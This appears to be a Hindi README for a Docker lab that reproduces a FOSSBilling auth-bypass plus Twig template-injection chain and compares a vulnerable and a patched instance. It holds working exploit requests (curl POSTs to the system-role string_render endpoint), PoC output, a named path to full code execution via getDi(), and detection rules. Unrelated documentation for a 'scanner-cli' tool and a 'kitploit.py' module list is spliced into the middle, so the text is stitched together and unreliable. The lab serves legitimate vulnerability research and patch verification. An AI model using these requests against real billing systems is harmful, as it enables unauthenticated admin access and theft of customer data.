
Docker लैब जो FOSSBilling pre-auth RCE श्रृंखला (CVE-2026-27604 auth bypass + CVE-2026-28496 Twig SSTI) को Python PoC और patched comparison target के साथ पुनरुत्पादित करती है।
| CVE | प्रकार | CVSS v4 | GHSA | विवरण |
|---|
| CVE-2026-27604 | ऑथ बायपास | 10.0 | GHSA-78x5-c8gw-8279 | API रोल चेकर में throw की कमी, एडमिन एंडपॉइंट्स को अनऑथेंटिकेटेड कॉलर्स के लिए उजागर करती है |
| CVE-2026-28496 | SSTI | 9.4 | GHSA-57mv-jm88-66jc | string_render API के माध्यम से अनसैंडबॉक्स्ड Twig टेम्पलेट रेंडरिंग |
FOSSBilling एक मुफ्त और ओपन-सोर्स बिलिंग और क्लाइंट मैनेजमेंट प्लेटफॉर्म है। संस्करण 0.5.4 से 0.7.2 प्रभावित हैं। FOSSBilling 0.8.0 दोनों कमजोरियों को पैच करता है।
यह लैब दो FOSSBilling संस्करणों की तुलना करती है:
| सेवा | FOSSBilling संस्करण | उद्देश्य | URL |
|---|---|---|---|
| vuln | 0.7.2 | कमजोर लक्ष्य | http://localhost:8081 |
| patched | 0.8.0 | पैच किया गया लक्ष्य | http://localhost:8082 |
इस स्थानीय लैब में सत्यापित चेन है:```text Unauthenticated HTTP POST → /api/system/system/string_render → Role "system" resolves to cron admin identity (CVE-2026-27604) → _tpl={{ 7*7 }} passed into unsandboxed Twig rendering (CVE-2026-28496) → Server evaluates the template expression → Returns {"result":"49","error":null}
पैच किए गए लक्ष्य (0.8.0) द्वारा लौटाया गया:```json
{"result":null,"error":{"message":"Unknown API call system/system/string_render","code":879}}
लैब को जानबूझकर स्थानीय Docker सेवाओं तक सीमित रखा गया है। यह बाहरी सिस्टमों को लक्षित नहीं करता और इसमें web shells, malware, persistence, external callbacks, database dumping, या destructive payloads शामिल नहीं हैं।
Pre-Auth RCE के लिए दोनों vulnerabilities का एक साथ काम करना आवश्यक है:```text ┌──────────────────────────────────────────────────────────────┐ │ STEP 1: Auth Bypass (CVE-2026-27604) │ │ │ │ URL path: /api/system/system/string_render │ │ Role "system" → cron admin identity │ │ Exception instantiated but never thrown │ │ → Unauthenticated caller gets admin API access │ ├──────────────────────────────────────────────────────────────┤ │ STEP 2: SSTI (CVE-2026-28496) │ │ │ │ Admin API method: System\Api\Admin::string_render() │ │ _tpl parameter → Twig createTemplate() → render() │ │ No sandbox enforcement │ │ → Server-side template evaluation │ ├──────────────────────────────────────────────────────────────┤ │ COMBINED: Pre-Auth RCE │ │ │ │ One unauthenticated HTTP POST │ │ → Admin access (auth bypass) │ │ → Template injection (SSTI) │ │ → getDi() exposes Pimple DI container │ │ → PDO, cache, extension manager, 40+ services reachable │ │ → Remote Code Execution │ └──────────────────────────────────────────────────────────────┘
यह लैब सुरक्षित अंकगणितीय प्रमाण `{{ 7*7 }}` का उपयोग करके श्रृंखला को प्रदर्शित करती है। `getDi()` के माध्यम से पूर्ण RCE पथ प्रदर्शित नहीं किया गया है।
## सत्यापित तथ्य
| दावा | प्रमाण | सत्यापन कैसे करें |
| ----- | -------- | ------------- |
| CVE-2026-27604 FOSSBilling API भूमिका प्रबंधन में एक प्रमाणीकरण बायपास है। | GHSA-78x5-c8gw-8279: भूमिका जाँचकर्ता में अनुपस्थित throw /api/system/ को व्यवस्थापक के रूप में हल करने की अनुमति देता है। | PoC चलाएँ: अतिथि पथ अस्वीकृत है, सिस्टम पथ व्यवस्थापक परिणाम लौटाता है। |
| CVE-2026-28496 FOSSBilling Twig रेंडरिंग में एक SSTI है। | GHSA-57mv-jm88-66jc: string_render _tpl को बिना सैंडबॉक्स के Twig createTemplate() में पास करता है। | PoC चलाएँ: सर्वर {{ 7*7 }} का मूल्यांकन करता है और 49 लौटाता है। |
| दोनों भेद्यताएँ FOSSBilling 0.5.4 से 0.7.2 को प्रभावित करती हैं। | सार्वजनिक सलाहकार प्रभावित संस्करण सीमा की पहचान करते हैं। | भेद्य (0.7.2) और पैच किए गए (0.8.0) लक्ष्यों की तुलना करें। |
| FOSSBilling 0.8.0 दोनों भेद्यताओं को पैच करता है। | पैच किया गया लक्ष्य परीक्षण किए गए एंडपॉइंट के लिए "Unknown API call" लौटाता है। | पोर्ट 8082 के विरुद्ध PoC चलाएँ। |
| प्रमाणीकरण बायपास अनधिकृत व्यवस्थापक पहुँच देता है। | /api/guest/ string_render को अस्वीकार करता है; /api/system/ बिना प्रमाणीकरण के परिणाम लौटाता है। | PoC का चरण 1 चलाएँ। |
| SSTI हमलावर-नियंत्रित टेम्पलेट्स का मूल्यांकन करता है। | {{ 7*7 }} भेद्य पथ के माध्यम से 49 लौटाता है। | PoC का चरण 2 चलाएँ। |
| श्रृंखला Pre-Auth RCE को सक्षम बनाती है। | प्रमाणीकरण बायपास + SSTI = व्यवस्थापक संदर्भ के साथ अनधिकृत टेम्पलेट इंजेक्शन। | पूर्ण श्रृंखला PoC चलाएँ। |
| PoC केवल HTTP है। | poc.py केवल HTTP POST अनुरोध भेजता है। | poc/poc.py का निरीक्षण करें। |
## मूल कारण विश्लेषण
### CVE-2026-27604: प्रमाणीकरण बायपास
FOSSBilling API URL पथ से भूमिकाओं को हल करता है:```text
/api/:role/:module/:method
The role checker यह सत्यापित करता है कि अनुरोधित role की अनुमति है या नहीं। हालाँकि, vulnerable संस्करणों में, अस्वीकृत roles के लिए exception instantiated होता है लेकिन कभी thrown नहीं होता:```php // Simplified vulnerable pattern if (!in_array($role, $allowed_roles)) { new \Exception("Role not allowed"); // BUG: missing "throw" }
क्योंकि अपवाद कभी नहीं फेंका जाता, सत्यापन चुपचाप पास हो जाता है। भूमिका `system` क्रॉन एडमिन पहचान में परिवर्तित हो जाती है, जिससे किसी भी अप्रमाणित कॉलर को पूर्ण एडमिन API पहुँच प्रदान हो जाती है।
सुरक्षा प्रभाव:```text
/api/guest/system/string_render → denied (guest role, no admin access)
/api/admin/system/string_render → requires authentication
/api/system/system/string_render → admin access WITHOUT authentication (bypass)
system role आंतरिक cron admin identity से मैप होता है, जिसके पास पूर्ण प्रशासनिक विशेषाधिकार होते हैं।
string_render admin API method request data से _tpl प्राप्त करता है और इसे बिना sandbox enforcement के Twig template rendering pipeline में पास करता है:```php
public function string_render($data)
{
if (!isset($data['_tpl'])) {
error_log('_tpl parameter not passed');
return '';
}
$tpl = $data['_tpl'];
$try_render = $data['_try'] ?? false;
$vars = $data;
unset($vars['_tpl'], $vars['_try']);
return $this->getService()->renderString($tpl, $try_render, $vars);
}
`renderString()` मेथड `createTemplateFromString()` पर गिर जाता है:```php
public function createTemplateFromString($tpl, $try_render, $vars)
{
try {
$twig = $this->di['twig'];
$template = $twig->createTemplate($tpl);
$parsed = $template->render($vars);
} catch (\Exception $e) {
$parsed = $tpl;
if (!$try_render) {
throw $e;
}
}
return $parsed;
}
महत्वपूर्ण समस्या: createTemplate($tpl) हमलावर-नियंत्रित स्ट्रिंग से एक Twig टेम्पलेट बनाता है और इसे बिना sandbox प्रतिबंधों के रेंडर करता है। टेम्पलेट के पास टेम्पलेट संदर्भ में मौजूद ऑब्जेक्ट्स तक पहुंच होती है, जिसमें guest API handler भी शामिल है जो getDi() को उजागर करता है।
Input: POST /api/system/system/string_render {"_tpl":"{{ 7*7 }}"}
Step 1 (CVE-2026-27604): URL path → role = "system" → role checker: exception instantiated, NOT thrown → system role → cron admin identity → admin API access granted without authentication
Step 2 (CVE-2026-28496): Admin::string_render() → reads _tpl from request → Service::renderString() → createTemplateFromString() → Twig createTemplate("{{ 7*7 }}") → Twig evaluates the expression → returns "49"
Full RCE path (not demonstrated in this safe PoC): {{ guest.getDi() }} → returns the Pimple DI container → PDO, cache, password hashing, extension manager, 40+ services → SQL execution, credential extraction, code execution
## स्रोत पैच सारांश
FOSSBilling 0.8.0 दोनों भेद्यताओं को संबोधित करता है:
**Auth Bypass फिक्स (CVE-2026-27604):**
रोल चेकर अब अस्वीकृत रोल्स के लिए उचित रूप से अपवाद फेंकता है।
**SSTI फिक्स (CVE-2026-28496):**
टेम्पलेट रेंडरिंग को एक सैंडबॉक्स्ड रेंडरर के माध्यम से रूट किया जाता है:```php
$rendered = SandboxedStringRenderer::render(
$twig,
$tpl,
$vars,
$errorMessage
);
The sandbox policy blocks method and property access by default:```php $methods = []; $properties = [];
इस लैब में परीक्षण किए गए सार्वजनिक API पथ के लिए, FOSSBilling 0.8.0 परीक्षण किए गए एंडपॉइंट को बिल्कुल भी उजागर नहीं करता है:```json
{"result":null,"error":{"message":"Unknown API call system/system/string_render","code":879}}
एक स्रोत-स्तरीय रिग्रेशन जाँच गहरे सुधार की पुष्टि करती है:```text FOSSBilling 0.7.2: {{ guest.getDi() }} → DI_VISIBLE FOSSBilling 0.8.0: {{ guest.getDi() }} → blocked by Twig sandbox policy
## लैब आर्किटेक्चर```text
.
├── docker-compose.yml
├── vuln/
│ └── Dockerfile
├── patched/
│ └── Dockerfile
├── poc/
│ └── poc.py
├── scripts/
│ └── auto-install.sh
├── README.md
└── .gitignore
| सेवा | घटक | संस्करण / भूमिका |
|---|---|---|
| vuln | FOSSBilling | 0.7.2 vulnerable target |
| patched | FOSSBilling | 0.8.0 patched target |
| vuln-db | MariaDB | database for vulnerable target |
| patched-db | MariaDB | database for patched target |
| installer-vuln | curl sidecar | auto-installs vulnerable target |
| installer-patched | curl sidecar | auto-installs patched target |
डिफ़ॉल्ट रूप से उजागर सेवाएँ:```text Vulnerable target: http://localhost:8081 Patched target: http://localhost:8082
The installer sidecars `docker compose up` के दौरान स्वचालित रूप से चलते हैं। वे दोनों FOSSBilling targets को स्थानीय disposable credentials के साथ initialize करते हैं और फिर exit कर जाते हैं।
## Requirements
* Docker Desktop या Docker Engine
* Docker Compose v2
* Python 3
* पहले Docker image pull के दौरान Internet access
किसी Python third-party package की आवश्यकता नहीं है। PoC केवल Python standard library modules का उपयोग करता है।
## Quick Start
साफ़ स्थिति से lab शुरू करें:```bash
docker compose down -v --remove-orphans
docker compose up -d --build
सेवा स्थिति जाँचें:```bash docker compose ps -a
अपेक्षित चल रही सेवाएँ:```text
cve-2026-28496-vuln
cve-2026-28496-patched
cve-2026-28496-vuln-db
cve-2026-28496-patched-db
Expected completed installer services (exit code 0):```text cve-2026-28496-installer-vuln Exited (0) cve-2026-28496-installer-patched Exited (0)
इंस्टॉलर लॉग जांचें:```bash
docker compose logs installer-vuln installer-patched
Run the chain validation against the vulnerable target:```bash python3 poc/poc.py --url http://localhost:8081
पैच किए गए लक्ष्य के विरुद्ध चेन सत्यापन चलाएँ:```bash
python3 poc/poc.py --url http://localhost:8082
python3 poc/poc.py --url <target_url>
उदाहरण:```bash
python3 poc/poc.py --url http://localhost:8081
python3 poc/poc.py --url http://localhost:8082
The PoC तीन चरणों में दोनों CVE को मान्य करता है:
चरण 1 — Auth Bypass (CVE-2026-27604): अनधिकृत admin एक्सेस को सिद्ध करने के लिए guest API पथ की तुलना system API पथ से करता है।```text [1a] POST /api/guest/system/string_render → denied (guest role) [1b] POST /api/system/system/string_render → admin result (system role, no auth)
**चरण 2 — SSTI (CVE-2026-28496):**
बायपास किए गए एडमिन एंडपॉइंट के माध्यम से सर्वर-साइड टेम्पलेट मूल्यांकन की पुष्टि करता है।```text
[2] POST /api/system/system/string_render
body={"_tpl":"{{ 7*7 }}"}
→ result="49" (template evaluated)
चरण 3 — श्रृंखला मूल्यांकन: संयुक्त श्रृंखला परिणाम का सारांश प्रस्तुत करता है।
PoC केवल HTTP-आधारित है। यह Docker, Docker Compose, शेल कमांड, या कंटेनर API को कॉल नहीं करता है।
python3 poc/poc.py --url http://localhost:8081
| `-s` | `--server` | Server URL (default: `http://localhost:8080`) |
| `-t` | `--token` | API token for authentication |
| `-o` | `--output` | Output file path |
| `-f` | `--format` | Output format: `json`, `yaml`, `table` |
| `-v` | `--verbose` | Enable verbose logging |
| `-q` | `--quiet` | Suppress non-error output |
| `-h` | `--help` | Show help message |
### उदाहरण
```bash
# सर्व स्कैन की सूची बनाएं
scanner-cli list
# नया स्कैन शुरू करें
scanner-cli scan --target https://example.com --profile full
# स्कैन परिणाम JSON प्रारूप में निर्यात करें
scanner-cli export --scan-id abc123 --format json --output results.json
# कस्टम सर्वर के विरुद्ध प्रमाणित करें
scanner-cli --server https://api.example.com --token $API_TOKEN list
CLI निम्नलिखित स्थानों पर कॉन्फ़िगरेशन फ़ाइल की खोज करता है:
./.scanner.yml~/.config/scanner/config.yml/etc/scanner/config.ymlकॉन्फ़िगरेशन फ़ाइल उदाहरण:
server: https://api.example.com
token: your-api-token-here
output_format: json
verbose: false
timeout: 30
| चर | विवरण |
|---|---|
SCANNER_SERVER | सर्वर URL को ओवरराइड करें |
SCANNER_TOKEN | API टोकन सेट करें |
SCANNER_CONFIG | कस्टम कॉन्फ़िगरेशन फ़ाइल पथ |
SCANNER_LOG_LEVEL | लॉग स्तर सेट करें (debug, info, warn, error) |
REST API http://localhost:8080/api/v1 पर उपलब्ध है।
सभी API अनुरोधों के लिए Authorization हेडर में Bearer टोकन की आवश्यकता होती है:
Authorization: Bearer <your-token>
GET /api/v1/scansसभी स्कैन की सूची बनाएं।
प्रतिक्रिया:
{
"scans": [
{
"id": "abc123",
"target": "https://example.com",
"status": "completed",
"created_at": "2024-01-15T10:30:00Z"
}
],
"total": 1
}
POST /api/v1/scansनया स्कैन शुरू करें।
अनुरोध निकाय:
{
"target": "https://example.com",
"profile": "full",
"options": {
"depth": 3,
"timeout": 30
}
}
प्रतिक्रिया:
{
"id": "def456",
"status": "running",
"created_at": "2024-01-15T11:00:00Z"
}
GET /api/v1/scans/{id}विशिष्ट स्कैन का विवरण प्राप्त करें।
DELETE /api/v1/scans/{id}स्कैन रद्द करें या हटाएं।
GET /api/v1/scans/{id}/resultsस्कैन परिणाम प्राप्त करें।
प्रतिक्रिया:
{
"scan_id": "abc123",
"findings": [
{
"id": "finding-001",
"severity": "high",
"title": "SQL Injection",
"description": "Potential SQL injection vulnerability detected",
"location": "https://example.com/login",
"remediation": "Use parameterized queries"
}
]
}
``````text
============================================================
CVE-2026-27604 + CVE-2026-28496 Chain Validation PoC
FOSSBilling Pre-Auth RCE: Auth Bypass + Twig SSTI
============================================================
Scope: authorized local lab target only
Target: http://localhost:8081
============================================================
STAGE 1: Auth Bypass (CVE-2026-27604)
============================================================
[1a] Guest role: POST /api/guest/system/string_render
status=400
error={'message': '...', 'code': ...}
→ Denied (expected — guest has no admin access)
[1b] System role (bypass): POST /api/system/system/string_render
status=200
result=49
→ Admin method returned result WITHOUT authentication
VERDICT: VULNERABLE — /api/guest/ denied, /api/system/ bypasses auth
CVE-2026-27604 CONFIRMED
============================================================
STAGE 2: SSTI (CVE-2026-28496)
============================================================
[2] POST /api/system/system/string_render
body={"_tpl": "{{ 7*7 }}"}
status=200
response={"result":"49","error":null}
VERDICT: VULNERABLE — server evaluated {{ 7*7 }} → 49
CVE-2026-28496 CONFIRMED
============================================================
STAGE 3: Chain Assessment
============================================================
CVE-2026-27604 Auth Bypass CVSS v4: 10.0 CONFIRMED
CVE-2026-28496 SSTI CVSS v4: 9.4 CONFIRMED
CHAIN RESULT: Pre-Auth RCE path CONFIRMED
python3 poc/poc.py --url http://localhost:8082
| `--list` | List all available modules |
| `--module <name>` | Run a specific module |
| `--output <file>` | Save results to a file |
| `--verbose` | Enable verbose output |
| `--threads <n>` | Number of concurrent threads |
| `--timeout <sec>` | Request timeout in seconds |
| `--proxy <url>` | Use a proxy for requests |
| `--user-agent <string>` | Set a custom User-Agent |
| `--no-color` | Disable colored output |
| `--config <file>` | Load configuration from file |
| `--version` | Show version information |
| `--help` | Show help message |
### उदाहरण
```bash
# List all modules
python3 kitploit.py --list
# Run a specific module
python3 kitploit.py --module scanner --target example.com
# Save output to file
python3 kitploit.py --module scanner --target example.com --output results.txt
# Use a proxy
python3 kitploit.py --module scanner --target example.com --proxy http://127.0.0.1:8080
The tool reads its configuration from config.yaml located in the root directory. Below is an example configuration:
# General settings
general:
threads: 10
timeout: 30
user_agent: "Mozilla/5.0"
# Proxy settings
proxy:
enabled: false
url: "http://127.0.0.1:8080"
# Output settings
output:
format: "json"
directory: "./results"
The following modules are available:
Each module can be invoked independently using the --module flag.```text
CVE-2026-27604 Auth Bypass CVSS v4: 10.0 NOT PRESENT
CVE-2026-28496 SSTI CVSS v4: 9.4 NOT PRESENT
CHAIN RESULT: PATCHED — neither vulnerability is present Target appears to be FOSSBilling >= 0.8.0
## मैनुअल HTTP पुनरुत्पादन
### प्रमाणीकरण बायपास प्रमाण (CVE-2026-27604)
अतिथि पथ (अस्वीकार किया जाना चाहिए):```bash
curl -i -X POST \
'http://127.0.0.1:8081/api/guest/system/string_render' \
-H 'Content-Type: application/json' \
--data '{"_tpl":"{{ 7*7 }}"}'
सिस्टम पथ (प्रमाणीकरण को बायपास करता है):```bash
curl -i -X POST
'http://127.0.0.1:8081/api/system/system/string_render'
-H 'Content-Type: application/json'
--data '{"_tpl":"{{ 7*7 }}"}'
### SSTI प्रमाण (CVE-2026-28496)
भेद्य लक्ष्य से सिस्टम पथ प्रतिक्रिया:```json
{"result":"49","error":null}
curl -i -X POST
'http://127.0.0.1:8082/api/system/system/string_render'
-H 'Content-Type: application/json'
--data '{"_tpl":"{{ 7*7 }}"}'
अपेक्षित पैच किया गया प्रतिक्रिया:```json
{"result":null,"error":{"message":"Unknown API call system/system/string_render","code":879}}
यह श्रृंखला FOSSBilling के विरुद्ध अनधिकृत रिमोट कोड निष्पादन को सक्षम बनाती है, जो एक बिलिंग और क्लाइंट प्रबंधन प्लेटफ़ॉर्म है जो संग्रहीत कर सकता है:
प्रदर्शित लैब पेलोड हानिरहित है ({{ 7*7 }})। getDi() और DI कंटेनर के माध्यम से वास्तविक दुनिया की प्रभाव श्रृंखला में शामिल हैं:
DI कंटेनर तक पहुंचने के लिए एक एकल अनधिकृत HTTP POST पर्याप्त है। यह PoC उस पथ को प्रदर्शित नहीं करता है।
संदिग्ध अनुरोध पैटर्न:```text POST /api/system/system/string_render POST /api/system/* (any admin method via system role)
अनुरोध निकाय संकेतक:```text
_tpl, {{, }}, getDi, system, string_render
उच्च-सिग्नल डिटेक्शन नियम:```text Rule 1: POST to /api/system/ from unauthenticated source Rule 2: POST to /api/system/system/string_render with _tpl containing {{ }} Rule 3: Response contains "result" with rendered template output
अनुशंसित निगरानी क्रियाएँ:
* `/api/system/` अनुरोधों के लिए एक्सेस लॉग की समीक्षा करें
* JSON बॉडी में `_tpl` वाले अनुरोधों की समीक्षा करें
* Twig सिंटैक्स (`{{`, `}}`, `getDi`) वाले अनुरोधों की समीक्षा करें
* बाहरी IP से `/api/system/` पर सफल प्रतिक्रियाओं पर अलर्ट करें
* यदि शोषण का संदेह हो तो व्यवस्थापक गतिविधि की समीक्षा करें
* संदिग्ध Twig सिंटैक्स के लिए टेम्पलेट, ईमेल टेम्पलेट, मास मेलर की समीक्षा करें
## शमन
FOSSBilling को संस्करण 0.8.0 या बाद के संस्करण में अपग्रेड करें।
अनुशंसित चरण:
* FOSSBilling को 0.8.0 या बाद के संस्करण में अपग्रेड करें
* रिवर्स प्रॉक्सी या WAF पर `/api/system/*` तक बाहरी पहुँच को अवरुद्ध करें
* API पहुँच को विश्वसनीय स्रोत IP तक सीमित करें
* सभी व्यवस्थापक और क्लाइंट API टोकन रोटेट करें
* सभी सक्रिय सत्रों को अमान्य करें
* `/api/system/` अनुरोधों के लिए एक्सेस लॉग की समीक्षा करें
* संदिग्ध Twig सिंटैक्स के लिए ईमेल टेम्पलेट, मास मेलर, और भुगतान एडाप्टर का ऑडिट करें
* यदि शोषण का संदेह हो तो सीक्रेट रोटेट करें
* अनधिकृत पहुँच के लिए ग्राहक, बिलिंग, और सर्वर रिकॉर्ड की समीक्षा करें
सुरक्षा इंजीनियरिंग सबक:
* प्राधिकरण जाँचों में हमेशा अपवाद फेंकें — बिना फेंके इंस्टैंशिएट करना एक मौन बायपास है
* विशेषाधिकार प्राप्त एप्लिकेशन संदर्भ में अविश्वसनीय टेम्पलेट स्ट्रिंग्स को रेंडर न करें
* सैंडबॉक्स्ड टेम्पलेट रेंडरिंग का उपयोग करें और डिफ़ॉल्ट रूप से मेथड/प्रॉपर्टी एक्सेस को अस्वीकार करें
* टेम्पलेट संदर्भों में DI कंटेनर या सर्विस लोकेटर को उजागर न करें
* API प्राधिकरण विफलताओं को स्पष्ट रखें और फेल क्लोज़्ड रखें
## उपयोगी कमांड```bash
# Container status
docker compose ps -a
# Installer logs
docker compose logs installer-vuln installer-patched
# Chain validation — vulnerable
python3 poc/poc.py --url http://localhost:8081
# Chain validation — patched
python3 poc/poc.py --url http://localhost:8082
# Manual auth bypass proof
curl -i -X POST \
'http://127.0.0.1:8081/api/guest/system/string_render' \
-H 'Content-Type: application/json' \
--data '{"_tpl":"{{ 7*7 }}"}'
curl -i -X POST \
'http://127.0.0.1:8081/api/system/system/string_render' \
-H 'Content-Type: application/json' \
--data '{"_tpl":"{{ 7*7 }}"}'
# Save evidence
mkdir -p evidence
python3 poc/poc.py --url http://localhost:8081 | tee evidence/vuln-chain.txt
python3 poc/poc.py --url http://localhost:8082 | tee evidence/patched-chain.txt
docker compose ps -a | tee evidence/docker-ps.txt
docker compose logs installer-vuln installer-patched | tee evidence/installer-logs.txt
docker compose down --remove-orphans
docker compose down -v --remove-orphans
rm -rf evidence/
## सुरक्षा सीमाएँ
यह लैब केवल स्थानीय सुरक्षा अनुसंधान और नियंत्रित प्रदर्शन के लिए है।
PoC को उन सिस्टमों के विरुद्ध न चलाएँ जिनके आप स्वामी नहीं हैं या जिनका परीक्षण करने के लिए आपके पास स्पष्ट प्राधिकरण नहीं है। इस लैब में वास्तविक प्रोडक्शन क्रेडेंशियल, ग्राहक डेटा, या API कुंजियाँ उपयोग न करें।
इच्छित दायरा केवल इन्हीं तक सीमित है:```text
http://localhost:8081
http://localhost:8082
http://127.0.0.1:8081
http://127.0.0.1:8082
लैब निम्नलिखित प्रदर्शित नहीं करता:
CVE-2026-27604 — FOSSBilling Auth Bypass https://www.cve.org/CVERecord?id=CVE-2026-27604
CVE-2026-28496 — FOSSBilling SSTI https://www.cve.org/CVERecord?id=CVE-2026-28496
GHSA-78x5-c8gw-8279 — Auth Bypass Advisory https://github.com/FOSSBilling/FOSSBilling/security/advisories/GHSA-78x5-c8gw-8279
GHSA-57mv-jm88-66jc — SSTI Advisory https://github.com/FOSSBilling/FOSSBilling/security/advisories/GHSA-57mv-jm88-66jc
NVD — CVE-2026-27604 https://nvd.nist.gov/vuln/detail/CVE-2026-27604
NVD — CVE-2026-28496 https://nvd.nist.gov/vuln/detail/CVE-2026-28496
VulnCheck — FOSSBilling Auth Bypass and Twig SSTI to Unauthenticated RCE https://www.vulncheck.com/blog/fossbilling-auth-bypass-ssti-rce
FOSSBilling GitHub Repository https://github.com/FOSSBilling/FOSSBilling
FOSSBilling Docker Image https://hub.docker.com/r/fossbilling/fossbilling
Twig Documentation — Sandbox Extension https://twig.symfony.com/doc/3.x/sandbox.html